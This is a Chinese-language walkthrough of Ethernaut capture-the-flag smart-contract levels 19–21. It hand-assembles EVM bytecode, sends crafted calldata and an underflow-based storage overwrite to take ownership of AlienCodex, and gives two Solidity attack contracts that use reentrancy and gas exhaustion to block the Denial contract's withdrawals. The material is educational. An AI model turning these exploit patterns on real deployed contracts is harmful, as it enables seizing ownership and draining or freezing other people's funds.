Ethernaut智能合约代码审计题目writeup(19-21)
2020-05-26 17:43:34 Author: bbs.pediy.com(查看原文) 阅读量:435 收藏

目标:使用 10 个操作码输出 42

pragma solidity ^0.4.24;

contract MagicNum {
  address public solver;
  constructor() public {}
  function setSolver(address _solver) public {
    solver = _solver;
  }
  /*
    ____________/\\\_______/\\\\\\\\\_____        
     __________/\\\\\_____/\\\///////\\\___       
      ________/\\\/\\\____\///______\//\\\__      
       ______/\\\/\/\\\______________/\\\/___     
        ____/\\\/__\/\\\___________/\\\//_____    
         __/\\\\\\\\\\\\\\\\_____/\\\//________   
          _\///////////\\\//____/\\\/___________  
           ___________\/\\\_____/\\\\\\\\\\\\\\\_ 
            ___________\///_____\///////////////__
  */
}

原理:https://hitcxy.com/2019/ethernaut/  太强了!

在合约创建的时候,用户或合约将交易发送到以太坊网络,没有参数 to,表示这是个合约创建而不是一个交易

EVM 把 solidity 代码编译为 字节码,字节码直接转换成 opcodes 运行

字节码包含两部分:initialization code 和 runtime code ,一开始合约创建的时候 EVM 只执行 initialization code,遇到第一个 stop 或者 return 的时候合约的构造函数就运行了,此时合约便有了地址

想要做这道题要构造这两段代码 initialization code 和 runtime code,initialization code 是由 EVM 创建并且存储需要用的 runtime code 的,所以首先来看 runtime code,想要返回 42,需要用 return(p,s) 但是在返回值前先要把值存储到内存中 mstore(p, v)

首先,用 mstore(p,v) 把 42 存储到内存中,v 是 42 的十六进制值 0x2a,p 是内存中的位置(不知道为啥)

0x602a  ;PUSH1 0x2a    v
0x6080  ;PUSH1 0x80    p
0x52    ;MSTORE

然后,用 return(p,s) 返回 42,p 是存储的位置,s 是存储所占的大小不明白为啥是 0x20

0x6020   ;PUSH1 0x20    s
0x6080   ;PUSH1 0x80    p
0xf3     ;RETURN

所以整个 runtime code 是 0x602a60805260206080f3

再来看 initialization code,首先 initialization code 要把 runtime code 拷贝到内训,然后再返回给 EVM

将代码从一个地方复制到一个地方的方法是 codecopy(t, f, s)。t 是目标位置,f 是当前位置,s 是代码大小(单位:字节),之前我们的代码大小为 10 字节

;copy bytecode to memory
0x600a   ;PUSH1 0x0a      S(runtime code size)
0x60??   ;PUSH1 0x??      F(current position of runtime opcodes)
0x6000   ;PUSH1 0x00      T(destination memory index 0)
0x39     ;CODECOPY

然后,将内存中的 runtime codes 返回到 EVM

;return code from memory to EVM
0x600a   ;PUSH1 0x0a      S
0x6000   ;PUSH1 0x00      P
0xf3     ;RETURN

initialization codes 总共占了 0x0c 字节,这表示 runtime codes 从索引 0x0c 开始,所以 ?? 的地方是 0x0c

所以,initialization codes 最后的顺序是 600a600c600039600a6000f3

两个拼起来,得到字节码是:0x600a600c600039600a6000f3602a60805260206080f3

var bytecode = "0x600a600c600039600a6000f3602a60805260206080f3";

web3.eth.sendTransaction({from:player,data:bytecode},function(err,res){console.log(res)});

然后去刚才交易的详情去看一下

image.png

image.png

拿到新的合约地址之后 await contract.setSolver("合约地址"),然后就通关了

image.png

目标:拿到合约所有权

pragma solidity ^0.4.24;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract AlienCodex is Ownable {
  bool public contact;//布尔型变量contact
  bytes32[] public codex;
  modifier contacted() {
    assert(contact);
    _;//函数修饰符,要通过contact必须要是true
  }
  function make_contact(bytes32[] _firstContactMessage) public {
    assert(_firstContactMessage.length > 2**200);//要求数组的长度必须是大于2的200次方
    contact = true;
  }//可以通过这个函数,使得contact变为true
  function record(bytes32 _content) contacted public {
  	codex.push(_content);
  }//增加数组长度
  function retract() contacted public {
    codex.length--;
  }//减少数组长度
  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }//修改数组里的内容
}

由于 EVM 存储优化的关系,在 slot [0] 中同时存储了 contact 和 owner,所以我们要做的就是将 owner 变量覆盖为自己账户地址

所有函数都有 contacted 限制,所以必须要先通过 make_contact 把 contact 改成 true

make_contact() 函数只验证传入数组的长度。OPCODE 中数组长度是存储在某个 slot 上的,并且没有对数组长度和数组内的数据做校验。所以可以构造一个存储位上长度很大,但实际上并没有数据的数组,打包成 data 发送

sig = web3.sha3("make_contact(bytes32[])").slice(0,10)
// "0x1d3d4c0b"
// 函数选择器
data1 = "0000000000000000000000000000000000000000000000000000000000000020"
// 除去函数选择器,数组长度的存储从第0x20位开始,上面是32字节
data2 = "1000000000000000000000000000000000000000000000000000000000000001"
// 数组的长度
contract.sendTransaction({data: sig + data1 + data2});
// 发送交易

image.png

之后通过调用 retract(),使得 codex 数组长度下溢。

web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(y)});

image.png

await contract.retract()

web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(y)});

image.png

再来看一下 codex 的位置:

我们要修改 slot 0 对应的 codex[?]

codex[X] == SLOAD(keccak256(slot) + X)

X 就是我们传入的那一个下标,是我们可控的,我们改成 2^256 - keccak256(slot) 这样实际上就是 2^256,总共有 2^256 个 slot,我们去找的就是 slot 2^256 也就是 slot 0

codex 的 slot 是 1,所以我们用下面的方法去计算一下

pragma solidity ^0.4.18;
contract test {
function go() view returns(bytes32){
   return keccak256((bytes32(1)));
}
}

image.png

2**256 - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 = 35707666377435648211887908874984608119992236509074197713628505308453184860938

所以我们把 codex 的下标改成这个之后实际修改的就是 slot 0 的地址

contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938','0x000000000000000000000001改成player的地址')

image.png

image.png

目标:造成 DOS 使得合约的 owner 在调用 withdraw 时无法正常提取资产

pragma solidity ^0.4.24;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Denial {
    using SafeMath for uint256;
    address public partner;
    address public constant owner = 0xA9E;
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances;

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }
    function withdraw() public {
        uint amountToSend = address(this).balance.div(100);
        partner.call.value(amountToSend)();
        owner.transfer(amountToSend);
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
    }
    function() payable {}
    function contractBalance() view returns (uint) {
        return address(this).balance;
    }
}

可以使用重入攻击的方法,把钱全部转走 exp:

pragma solidity ^0.4.23;
contract Denial {
    address public partner;
    address public constant owner = 0xA9E;
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; 
    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }
    function withdraw() public {
        uint amountToSend = address(this).balance/100;
        partner.call.value(amountToSend)();
        owner.transfer(amountToSend);
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] += amountToSend;
    }
    function() payable {}
    function contractBalance() view returns (uint) {
        return address(this).balance;
    }
}
contract Attack{
    address instance_address = 题目合约地址;
    Denial target = Denial(instance_address);
    function hack() public {
        target.setWithdrawPartner(address(this));
        target.withdraw();
    }
    function () payable public {
        target.withdraw();
    } 
}

部署,点击 hack 然后提交就可以啦

image.png

image.png

还有一种方法是 assert 函数触发异常之后会消耗所有可用的 gas,消耗了所有的 gas 那就没法转账了

pragma solidity ^0.4.23;
contract Denial {
    address public partner;
    address public constant owner = 0xA9E;
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; 
    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }
    function withdraw() public {
        uint amountToSend = address(this).balance/100;
        partner.call.value(amountToSend)();
        owner.transfer(amountToSend);
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] += amountToSend;
    }
    function() payable {}
    function contractBalance() view returns (uint) {
        return address(this).balance;
    }
}
contract Attack{
    address instance_address = 题目合约地址;
    Denial target = Denial(instance_address);
    function hack() public {
        target.setWithdrawPartner(address(this));
        target.withdraw();
    }
    function () payable public {
        assert(0==1);
    }
}

[推荐]看雪工具下载站,全新登场!(Android、Web、漏洞分析还未更新)


文章来源: https://bbs.pediy.com/thread-259744.htm
如有侵权请联系:admin#unsafe.sh